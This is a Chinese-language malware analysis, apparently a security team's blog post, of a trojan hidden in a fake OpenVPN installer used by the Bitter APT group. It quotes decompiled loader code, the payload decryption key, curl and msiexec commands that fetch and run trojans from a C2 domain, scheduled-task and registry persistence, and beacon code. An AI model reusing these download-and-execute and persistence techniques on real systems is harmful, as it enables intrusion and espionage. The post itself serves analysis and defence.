<!– https://mp.weixin.qq.com/s/QDI912ogVKyyKFYdKvBGdQ 疑似APT-C-55(Kimsuky)组织利用商业软件Web Browser Password Viewer进行攻击 threatbook有样本,易于分析
https://www.anquanke.com/post/id/259453 相煎何急,印APT组织蔓灵花针对巴基斯坦政府机构展开定向攻击 样本均存在
https://www.anquanke.com/post/id/258167 涉俄APT组织“圣贤熊”针对军队、政府展开经济犯罪和间谍攻击 有相关样本
https://paper.seebug.org/1752/ 深入研究 Snake Keylogger 的新变种恶意软件 xlsm病毒,threatbook有样本
https://www.microsoft.com/security/blog/2021/11/18/iranian-targeting-of-it-sector-on-the-rise/ Iranian targeting of IT sector on the rise 有样本
https://explore.group-ib.com/redcurl-english-reports/report-redcurl2-eng 威胁情报 –>
概述
在近期的“蔓灵花”攻击巴基斯坦活动中,攻击者仿冒OpenVPN安装包,制作了一款“TelecomVPN”或“PTAOpenVPN”。
攻击者将恶意软件和OpenVPN安装包打包在一起,当用户执行OpenVPN后会先解密shell.exe和OpenVPN,再分别执行OpenVPN安装例程和shell.exe。
初步分析
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
//。。。
RegisterClassExW((const WNDCLASSEXW *)&v21);
::hInstance = hInstance;
v4 = CreateWindowExW(0, ClassName, WindowName, 0xCF0000u, 0x80000000, 0, 0x80000000, 0, 0, 0, hInstance, 0);
v5 = v4;
if ( v4 )
{
//...
v13 = CreateFileW(v19, 1u, 1u, 0, 3u, 0x80u, 0);
if ( v13 != (HANDLE)-1 )
{
SetFilePointer(v13, 35328, 0, 0);
v6 = LocalAlloc(0x40u, 0x3000u);
ReadFile(v13, v6, 0x3000u, &NumberOfBytesRead, 0);
}
v15 = CreateFileW(L"C:\Users\Public\Music\power", 2u, 2u, 0, 2u, 0x80u, 0);
if ( v15 != (HANDLE)-1 )
{
WriteFile(v15, v6, 0x3000u, &NumberOfBytesWritten, 0);
CloseHandle(v15);
}
sub_4010E0("C:\Users\Public\Music\power", "C:\Users\Public\Music\Shell.exe", v14, 0);
Sleep(0x1388u);
sub_4010E0(Filename, "C:\Users\Public\Music\msdtm.exe", v16, 47616);
Sleep(0x1388u);
ShellExecuteW(0, L"RUNAS", L"C:\Users\Public\Music\msdtm.exe", 0, 0, 1);
//...
CreateProcessW(
L"C:\Users\Public\Music\Shell.exe",
//...
);
CloseHandle(ProcessInformation.hProcess);
CloseHandle(ProcessInformation.hThread);
LocalFree(v6);
}
return 0;
}
主函数可以看到,首先在Music文件夹下创建power文件,然后写入数据。接着对文件本身和power调用了sub_4010e0
向上看可以得到,power文件的内容主要来自于读取文件本身
文件偏移在35328处
而OpenVPN安装程序放在了0xba00偏移处,紧挨着shell.exe
sub_4010e0分析
int __usercall sub_4010E0@<eax>(char *FileName@<ecx>, char *a2@<edx>, int a3, int Offset)
{
//...
{
if ( Offset )
fseek(Stream, Offset, 0);
if ( fopen_s(&v14, a2, "wb") )
{
printf("Error opening Ciphertext file!n");
}
else
{
if ( !CryptAcquireContextW(&phProv, 0, L"Microsoft Enhanced Cryptographic Provider v1.0", 1u, 0) )
{
//...
CryptAcquireContextW(&phProv, 0, L"Microsoft Enhanced Cryptographic Provider v1.0", 1u, 8u);
}
if ( CryptCreateHash(phProv, CALG_MD5, 0, 0, &phHash) )
{
if ( CryptHashData(phHash, "Y8*()12T", 8u, 0) )
{
if ( CryptDeriveKey(phProv, 0x6801u, phHash, 0x800000u, &phKey) )
{
CryptDestroyHash(phHash);
phHash = 0;
v5 = malloc(0x3E8u);
if ( v5 )
{
while ( 1 )
{
pdwDataLen = fread(v5, 1u, 0x3E8u, Stream);
if ( ferror(Stream) )
break;
v10 = feof(Stream);
if ( !CryptEncrypt(phKey, 0, v10, 0, (BYTE *)v5, &pdwDataLen, 0x3E8u) )
{
printf("bytes required:%dn", pdwDataLen);
v12 = GetLastError();
printf("Error %x during CryptEncrypt!n", v12);
goto LABEL_26;
}
fwrite(v5, 1u, pdwDataLen, v14);
//...
}
}
//...
return v11;
}
可以看到,该函数调用了Windows API进行解密。密钥是Y8*()12T
的MD5。
shell.exe分析
开头初始化了Com库
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
if ( CoInitializeEx(0, 6u) >= 0 )
{
sub_401000();
CoUninitialize();
}
Sleep(0x2710u);
return 0;
}
sub_401000分析
lpString2[0] = L"pku2u.exe";
lpString2[1] = L"drvinst.exe";
lpString2[2] = L"ndadmin.exe";
lpString2[3] = L"fveapi.exe";
lpString2[4] = L"cdp.exe";
lpString2[5] = L"mfcore.exe";
lpString2[6] = L"rdpsign.exe";
lpString2[7] = L"tspubwmi.exe";
lpString2[8] = L"mfps.exe";
lpString2[9] = L"peerdist";
lpString2[10] = L"lsapip.exe";
lpString2[11] = L"glu32.exe";
lpString2[12] = L"fwbase.exe";
lpString2[13] = L"esentprf.exe";
lpString2[14] = L"dwrite.exe";
lpString2[15] = L"cscmig.exe";
lpString2[16] = L"authext.exe";
lpString2[17] = L"browcli.exe";
lpString2[18] = L"imagehlp.exe";
lpString2[19] = L"mfaudiocnv.exe";
ExpandEnvironmentStringsW(L"%computername%", Dst, 0x64u);
if ( PathFileExistsW(L"C:\Users\Public\Music\p2p") )
{
for ( i = 0; i < 20; ++i )
{
lstrcpyW(String1, L"C:\Users\Public\Music\");
lstrcatW(String1, lpString2[i]);
if ( !PathFileExistsW(String1) )
break;
if ( DeleteFileW(String1) )
{
Sleep(0x1388u);
break;
}
}
lstrcatW(psz, String1);
lstrcatW(psz, L" -O https://mswsceventlog.net/ot.php/?ot=");
lstrcatW(psz, Dst);
v5 = SysAllocString;
ppv = SysAllocString(L"curl");
v6 = SysAllocString(psz);
*((_DWORD *)ppvOut + 2) = v6;
RemoveDirectoryW(L"C:\Users\Public\Music\p2p");
}
else
{
ppv = SysAllocString(L"msiexec");
lstrcpyW(v28, L"/i http://mswsceventlog.net/");
lstrcatW(v28, Dst);
lstrcatW(v28, L".msi /q");
v5 = SysAllocString;
v3->lVal = (LONG)SysAllocString(v28);
CreateDirectoryW(L"C:\Users\Public\Music\p2p", 0);
}
如果老版本木马存在,就删除那个文件并下载新木马后再删除Music下的p2p文件夹;否则下载新木马并创建p2p文件夹,还会使用msiexec执行新木马。值得注意的是,如果p2p目录不存在,会根据计算机名称下载木马,说明这是一次指定目标的攻击。
v9 = v5(L"/create /sc MINUTE /mo 15 /TN Chsme /TR C:\Users\Public\Music\Shell.exe");
*((_DWORD *)ppvOut + 2) = v9;
ppv = v5(L"C:\Windows\System32\schtasks.exe");
if ( !PathFileExistsW(L"C:\Windows\SysNative\Tasks\Chsme") )
v1 = ((int (__stdcall *)(IUnknown *, LPVOID, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))punk->lpVtbl[10].AddRef)(
//...
Sleep(0x2BF20u);
ppvOut = v5(String1); // start new
为自己创建计划任务,并且判断Tasks下Chsme是否存在。如果不存在就执行一个新任务。根据上面交叉引用和for循环内容,此处String1是那些字符串中第一个不存在的文件完整路径。
这里可能下载诸多木马,挑选其中一个pku2u.exe分析
pku2u.exe分析
主函数中大量使用了sub_4025b0
signed int __usercall sub_4025B0@<eax>(const char *a1@<edi>, const char *a2)
{
//...
v2 = strlen(a1);
v3 = strlen(a2);
result = 0;
for ( i = 0; result < v2; ++i )
{
if ( i == v3 )
i = 0;
a1[result++] ^= a2[i];
}
return result;
}
可以发现这个函数主要用于解密字符串
主函数中首先拼接了一系列字符串,这些字符串包括域名等信息
sub_4025B0(pNodeName, "45"); // 解密得到 meeting.mswsceventlog.net
GetModuleFileNameA(0, Str, 0x21Cu);
sub_4025B0(SubStr, "34"); // update
sub_4025B0(ValueName, "34"); // updates
sub_4019E0();
sub_4025B0(byte_405780, aLlll);
*(_DWORD *)&byte_406A80[strlen(byte_406A80)] = 'goL';
sub_4025B0(aTdAVji, "728"); // CVEWsDaxqi.php?logs=
strcat(byte_406A80, "s/");
*(_DWORD *)&byte_406A80[strlen(byte_406A80)] = 'pwX';
strcat(byte_406A80, "ll");
strcat(byte_406A80, aTdAVji);
遍历注册表中的MsMp和avp字符串
if ( sub_401810("MsMp") )
{
byte_4062EA = 1;
byte_4062E9 = 1;
goto LABEL_23;
}
*(_WORD *)&aAv[strlen("av")] = 'p';
if ( sub_401810("av") )
{
byte_4062E9 = 1;
LABEL_23:
strcpy(pszPath, "`{sgctaqi~]VA[F\RAoc\]PZDGipAGAQ[GbPAG\\ZiaA[");
phkResult = 0;
memset(&pszPath[46], 0, 0xCCu);
sub_4025B0(pszPath, "345");
if ( RegQueryValueExA(0, ValueName, 0, 0, 0, 0)
&& !RegOpenKeyExA(HKEY_CURRENT_USER, pszPath, 0, 0xF003Fu, &phkResult)
&& byte_4062EA )
{
RegSetValueExA(phkResult, ValueName, 0, 1u, (const BYTE *)NewFileName, strlen(NewFileName));
*((_BYTE *)&dword_406730 + strlen((const char *)&dword_406730)) = 82;
}
RegCloseKey(phkResult);
goto LABEL_28;
}
如果有的话则会注册开机自动启动
最后还调用了这个函数
int sub_4026B0()
{
//...
v6[12] = v6;
std::string::string(v6, "KIX$3lswxizirx2tltCmhA"); // 解密得到 GET /hostevent.php?id=
sub_402600(v7, v6[0], v6[1], v6[2], v6[3], v6[4], v6[5]);
v12 = 0;
std::string::operator+=(v7, Buffer);
std::string::operator+=(v7, " HTTP/1.1rnHost:");
std::string::operator+=(v7, pNodeName); // 解密得到 meeting.mswsceventlog.net
std::string::operator+=(v7, "rnConnection: closernrn");
*(_DWORD *)&name.sa_data[2] = inet_addr(cp);
*(_WORD *)name.sa_data = htons(0x50u);
name.sa_family = 2;
v0 = socket(2, 1, 6);
if ( !connect(v0, &name, 16) )
{
v1 = buf[0];
if ( buf[5] < (char *)0x10 )
v1 = (const char *)buf;
send(v0, v1, (int)buf[4], 0);
v2 = 0;
*(_WORD *)v10 = 0;
memset(v11, 0, sizeof(v11));
v3 = recv(v0, v10, 4096, 0);
v4 = v3 < 0;
if ( !v3 )
{
LABEL_7:
closesocket(v0);
v12 = -1;
return std::string::~string(v7);
}
while ( !v4 )
{
v2 += v3;
v3 = recv(v0, &v10[v2], 4096, 0);
v4 = v3 < 0;
if ( !v3 )
goto LABEL_7;
}
*(_WORD *)v10 = 0;
}
closesocket(v0);
v12 = -1;
std::string::~string(v7);
return 0;
}
即定期通信
之后调用了这个函数
void sub_4022E0()
{
char v0[8190]; // [esp+Ah] [ebp-200Ah] BYREF
Sleep(0x3E8u);
byte_4062EB = 0;
memset(&byte_4090A0, 0, 0x2000u);
if ( dword_40650C >= 5 )
{
sub_401E00(&dword_406730);
sub_4023C0();
if ( byte_4062EB )
{
memset(v0, 0, sizeof(v0));
sub_401E00(&byte_406CA0);
}
}
else
{
sub_401E00(&dword_406510);
++dword_40650C;
}
Sleep(0x3A98u);
}
即通信次数大于5才会执行指定动作
char sub_4023C0()
{
//...
v0 = strstr(&byte_4090A0, &byte_406CA0);
if ( v0 )
{
v1 = byte_4090A0;
for ( i = 0; v1; v1 = byte_4090A1[i++] )
{
if ( v1 == 34 )
break;
}
v3 = byte_4090A1[i];
v4 = 0;
if ( v3 )
{
v5 = &byte_4090A1[i];
do
{
if ( v3 == 34 )
break;
++v5;
byte_406DA0[v4] = v3;
v3 = *v5;
++v4;
}
while ( *v5 );
}
byte_406DA0[v4] = 0;
LOBYTE(v0) = sub_401810(byte_406DA0);
if ( (_BYTE)v0 )
{
memset(Destination, 0, strlen(Destination));
*(_DWORD *)Destination = &unk_474E52;
strcat_s(Destination, 0xFAu, aLlll);
strcat_s(Destination, 0xFAu, byte_406DA0);
LOBYTE(v0) = strcat_s(Destination, 0xFAu, aLlll);
byte_4062EB = 1;
}
else if ( v4 )
{
v8[0] = 'icww';
v8[1] = 'eGGJ';
v8[2] = 1917009;
memset(&v8[3], 0, 0xEEu);
sub_4025B0((const char *)v8, "124");
sub_401E00((int)byte_406DA0, (int)v8, (char *)&dword_40B0A0, (int)&unk_40420F);
memset(v8, 0, 0xFAu);
v6 = 0;
while ( *(int *)((char *)&dword_40B0A0 + v6) != *(_DWORD *)aLlll )
{
if ( *(int *)((char *)&dword_40B0A0 + v6 + 1) == *(_DWORD *)aLlll )
{
++v6;
break;
}
if ( *(int *)((char *)&dword_40B0A0 + v6 + 2) == *(_DWORD *)aLlll )
{
v6 += 2;
break;
}
if ( *(int *)((char *)&dword_40B0A0 + v6 + 3) == *(_DWORD *)aLlll )
{
v6 += 3;
break;
}
v6 += 4;
if ( v6 > 4095 )
break;
}
LOBYTE(v0) = sub_401FB0(v6 + 4);
}
}
return (char)v0;
}
通过llll
判断是否有指定载荷,如果有就创建新文件夹并执行后续病毒。
防范建议
-
从官方渠道下载软件 -
及时安装、更新杀软
清除建议
-
删除对应定时任务 -
清理注册表 -
删除对应路径下的病毒文件 -
重启系统
参考资料
-
相煎何急,印APT组织蔓灵花针对巴基斯坦政府机构展开定向攻击 -
ReadFile–microsoft docs -
CryptHashData–microsoft docs -
CoInitializeEx–microsoft docs
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析+AI 长期招新
原文始发于微信公众号(ChaMd5安全团队):印“蔓灵花”攻击巴基斯坦活动中使用的TelecomVPN病毒分析